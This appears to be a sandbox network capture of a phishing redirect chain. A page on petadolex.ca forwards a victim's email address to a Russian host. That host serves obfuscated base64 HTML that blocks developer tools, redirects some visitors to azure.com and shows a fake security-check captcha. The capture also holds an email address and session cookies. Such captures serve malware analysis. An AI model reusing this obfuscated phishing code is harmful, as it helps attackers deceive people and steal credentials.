2024-12-24 14:06:22 UTC	671	OUT	GET /Privacy/mwe.html HTTP/1.1 Host: petadolex.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:23 UTC	254	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 19:48:46 GMT Accept-Ranges: bytes Content-Length: 494 Vary: Accept-Encoding Content-Type: text/html
2024-12-24 14:06:23 UTC	494	IN	Data Raw: 0d 0a 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 52 65 64 69 72 65 63 74 20 61 66 74 65 72 20 35 20 73 65 63 6f 6e 64 73 0d 0a 09 09 20 20 76 61 72 20 61 69 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 28 31 29 3b 0d 0a 09 09 20 20 0d 0a 20 20 20 20 76 61 72 20 69 6e 64 20 3d 20 61 69 2e 69 6e 64 65 78 4f 66 28 22 40 22 29 3b 0d 0a 20 20 20 20 76 61 72 20 6d 79 5f 73 6c 69 63 65 20 3d 20 61 69 2e 73 75 62 73 74 72 28 28 69 6e 64 20 2b 20 31 29 29 3b 0d 0a 09 76 61 72 20 63 6f 6d 70 61 6e 79 4e 61 6d 65 20 3d Data Ascii: <html lang="en"><head> <script type="text/javascript"> // Redirect after 5 seconds var ai = window.location.hash.substr(1); var ind = ai.indexOf("@"); var my_slice = ai.substr((ind + 1));var companyName =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	104.21.91.204	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:26 UTC	703	OUT	GET /0Fhb7R/?qrc=mlyon@wc.com HTTP/1.1 Host: o6rl.inexpartan.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://petadolex.ca/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:27 UTC	1242	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eCPm0TqmyhVMg5X3BZiF8iBuFKyfOq0un%2FDktJKodBRH5FvUHrIM5XFIqVCUwOa2YD7yT0Ol2XEx5szZOdNlEuOY4EYj0Ho1L5Ep80vX7ZNn%2BihkOL%2FPNYWvoXXbcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1117&min_rtt=1084&rtt_var=365&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1609&delivery_rate=2258524&cwnd=251&unsent_bytes=0&cid=4882207d76690c50&ts=244&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjZvckFzVzllQklsTDBiZEo4RkRKOXc9PSIsInZhbHVlIjoiNkdRdmlETkp0Y0VSNUtxZXZXdUc5MW9lVE9abHFwOXk2NTZuS0xjb2EyQzFlUTZTZHRrMFJMNUFTWStORWFwZURReUU1OUE5Z2d0SDJFVC9uNHlyc01RT3NDNjVObDkxZVBaV2QrUFBZaHBkaWdMdkU5Mlh3MFUvV2dKbU5TWW8iLCJtYWMiOiI1ZDJhMDA4MmM4YTA3NWRhOGQ1NjMwYWIxNGIzNzg5MzViYTNlNDMyZTAxN2Q0YmNlY2Y2MzVhNTU5YjMwODk0IiwidGFnIjoiIn0%3D; expires=Tue, 24-Dec-2024 16:06:26 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-24 14:06:27 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 46 57 4b 31 55 34 64 57 6c 75 54 6d 55 78 4b 33 42 6a 5a 57 38 30 59 7a 4a 72 4d 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 53 74 48 65 45 74 6a 59 58 70 30 54 6b 74 53 4f 47 68 4b 55 56 56 6e 61 7a 5a 69 65 45 56 75 64 57 78 6f 56 56 56 4a 4d 56 4e 61 5a 46 4a 31 5a 55 35 54 62 7a 64 35 56 47 68 6e 57 6b 4a 31 53 55 46 4b 52 56 5a 59 56 55 70 5a 52 30 56 53 63 6d 52 72 62 31 64 69 61 33 52 6b 63 69 39 30 5a 54 52 78 52 48 68 46 54 6d 46 42 61 6d 74 47 61 45 46 46 56 30 34 34 4d 57 68 74 57 46 51 34 5a 31 5a 6d 54 54 4a 76 64 30 4a 46 63 6b 67 34 54 6a 45 78 52 6b 68 6e 54 69 39 71 51 6d 52 50 4d 56 52 56 65 43 39 4f 4f 48 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlFWK1U4dWluTmUxK3BjZW80YzJrMGc9PSIsInZhbHVlIjoiYStHeEtjYXp0TktSOGhKUVVnazZieEVudWxoVVVJMVNaZFJ1ZU5Tbzd5VGhnWkJ1SUFKRVZYVUpZR0VScmRrb1dia3Rkci90ZTRxRHhFTmFBamtGaEFFV044MWhtWFQ4Z1ZmTTJvd0JFckg4TjExRkhnTi9qQmRPMVRVeC9OOHY
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 34 63 37 62 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 30 63 31 56 36 4c 6d 6c 75 5a 58 68 77 59 58 4a 30 59 57 34 75 63 6e 55 76 4d 45 5a 6f 59 6a 64 53 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e Data Ascii: 4c7b<script>if(atob("aHR0cHM6Ly80c1V6LmluZXhwYXJ0YW4ucnUvMEZoYjdSLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20van
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 4f 44 42 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 30 4b 49 30 68 6b 5a 47 4e 74 62 56 56 33 54 32 38 67 4c 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 48 74 30 5a 58 68 30 4c 57 46 73 61 57 64 75 4f 69 42 6a 5a 57 35 30 5a 58 49 68 61 57 31 Data Ascii: ODBweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0hkZGNtbVV3T28gLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4d 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 Data Ascii: CB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 41 67 49 43 41 67 61 57 59 67 4b 47 56 75 5a 6c 52 73 54 48 4a 53 61 45 49 67 4c 53 42 76 55 56 46 6a 64 47 64 6b 5a 30 68 4a 49 44 34 67 61 6e 4a 54 55 6b 35 4e 65 45 4a 30 61 53 41 6d 4a 69 41 68 62 6e 56 51 51 58 70 61 54 30 68 47 52 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 54 31 4a 4e 53 6b 46 4e 64 31 4a 48 61 79 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 75 64 56 42 42 65 6c 70 50 53 45 5a 45 49 44 30 67 64 48 4a 31 5a 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 58 42 73 59 57 4e 6c 4b 43 64 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 68 65 6e 56 79 5a 53 35 6a 62 32 30 6e 4b 54 73 4e 43 Data Ascii: AgICAgaWYgKGVuZlRsTHJSaEIgLSBvUVFjdGdkZ0hJID4ganJTUk5NeEJ0aSAmJiAhbnVQQXpaT0hGRCkgew0KICAgICAgICAgICAgT1JNSkFNd1JHayA9IHRydWU7DQogICAgICAgICAgICBudVBBelpPSEZEID0gdHJ1ZTsNCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5henVyZS5jb20nKTsNC
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 75 59 32 39 74 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 47 56 34 64 43 31 6a 5a 57 35 30 5a 58 49 69 49 47 6c 6b 50 53 4a 43 65 58 70 33 57 48 46 4d 56 33 64 58 49 6a 34 4e 43 6b 4a 79 62 33 64 7a 5a 58 49 67 63 32 56 6a 64 58 4a 70 64 48 6b 67 59 32 68 6c 59 32 74 7a 49 47 6c 75 49 48 42 79 62 32 64 79 5a 58 4e 7a 49 47 5a 76 63 69 42 35 62 33 56 79 49 48 4e 68 5a 6d 56 30 65 53 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6d 62 33 4a 74 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 48 4e 6a 63 6d 6c 77 64 44 34 4e 43 6e 52 31 63 6d 35 7a 64 47 6c 73 5a 53 35 79 5a 57 35 6b 5a 58 49 6f 4a 79 Data Ascii: uY29tIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiIGlkPSJCeXp3WHFMV3dXIj4NCkJyb3dzZXIgc2VjdXJpdHkgY2hlY2tzIGluIHByb2dyZXNzIGZvciB5b3VyIHNhZmV0eS4NCjwvZGl2Pg0KPC9mb3JtPg0KPC9kaXY+DQo8L2Rpdj4NCjwvZGl2Pg0KPHNjcmlwdD4NCnR1cm5zdGlsZS5yZW5kZXIoJy
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a 33 4e 30 59 58 52 31 63 79 64 64 49 44 30 39 49 43 64 7a 64 57 4e 6a 5a 58 4e 7a 4a 79 6c 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 45 39 53 54 55 70 42 54 58 64 53 52 32 73 67 50 54 30 67 5a 6d 46 73 63 32 55 70 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 57 78 76 59 57 51 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 51 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 44 51 6f Data Ascii: c2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgIGlmKGRhdGFbJ3N0YXR1cyddID09ICdzdWNjZXNzJyl7DQogICAgICAgIGlmKE9STUpBTXdSR2sgPT0gZmFsc2Upew0KICAgICAgICBsb2NhdGlvbi5yZWxvYWQoKTsNCiAgICAgICAgfQ0KICAgICAgICB9DQo
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 20 28 6f 61 4a 52 7a 4a 67 4f 6e 59 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 6f 61 4a 52 7a 4a 67 4f 6e 59 2e 70 61 74 68 6e 61 6d 65 20 3d 20 6f 61 4a 52 7a 4a 67 4f 6e 59 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 73 56 68 46 63 45 51 63 56 71 20 3d 20 6f 61 4a 52 7a 4a 67 4f 6e 59 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 73 56 68 46 63 45 51 63 56 71 20 3d 3d 20 74 74 72 62 6a 4a 77 72 56 5a 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 Data Ascii: (oaJRzJgOnY.pathname.endsWith('/')) {oaJRzJgOnY.pathname = oaJRzJgOnY.pathname.slice(0, -1);}const sVhFcEQcVq = oaJRzJgOnY.pathname+'/';if(sVhFcEQcVq == ttrbjJwrVZ){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBs
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 46 79 5a 57 30 37 66 51 30 4b 49 30 68 6b 5a 47 4e 74 62 56 56 33 54 32 38 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4f 44 42 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c Data Ascii: FyZW07fQ0KI0hkZGNtbVV3T28uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogODBweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luL
2024-12-24 14:06:27 UTC	1369	IN	Data Raw: 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 Data Ascii: 7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49757	151.101.66.137	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:28 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o6rl.inexpartan.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:29 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 24 Dec 2024 14:06:29 GMT Age: 533715 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740049-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 2 X-Timer: S1735049189.124826,VS0,VE0 Vary: Accept-Encoding
2024-12-24 14:06:29 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-24 14:06:29 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-24 14:06:29 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-24 14:06:29 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 